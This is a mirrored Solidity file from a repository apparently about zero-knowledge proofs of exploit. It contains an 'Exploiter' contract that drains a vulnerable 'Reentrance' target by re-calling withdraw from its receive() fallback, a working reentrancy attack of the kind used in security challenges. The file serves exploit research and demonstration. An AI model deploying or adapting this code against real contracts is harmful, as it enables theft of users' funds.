mirror of
https://github.com/zkoranges/zkPoEX.git
synced 2026-01-14 23:18:02 -05:00
35 lines
931 B
Solidity
35 lines
931 B
Solidity
// SPDX-License-Identifier: MIT
|
|
// DO NOT USE IN PRODUCTION
|
|
pragma solidity 0.8.19;
|
|
|
|
interface IReentrance {
|
|
function deposit(address _to) external payable;
|
|
function withdraw(uint256 _amount) external;
|
|
}
|
|
|
|
contract Exploiter {
|
|
IReentrance targetContract;
|
|
|
|
constructor(address _targetAddr) {
|
|
targetContract = IReentrance(_targetAddr);
|
|
}
|
|
|
|
function balance() public view returns (uint256) {
|
|
return address(this).balance;
|
|
}
|
|
|
|
// exploits Reentrance
|
|
function exploit() public payable {
|
|
require(msg.value >= 1 ether);
|
|
targetContract.deposit{value:msg.value}(address(this));
|
|
targetContract.withdraw(msg.value);
|
|
}
|
|
|
|
// fallback function triggering reentrancy
|
|
receive() external payable {
|
|
uint256 targetBalance = address(targetContract).balance;
|
|
if (targetBalance >= 1 ether) {
|
|
targetContract.withdraw(1 ether);
|
|
}
|
|
}
|
|
} |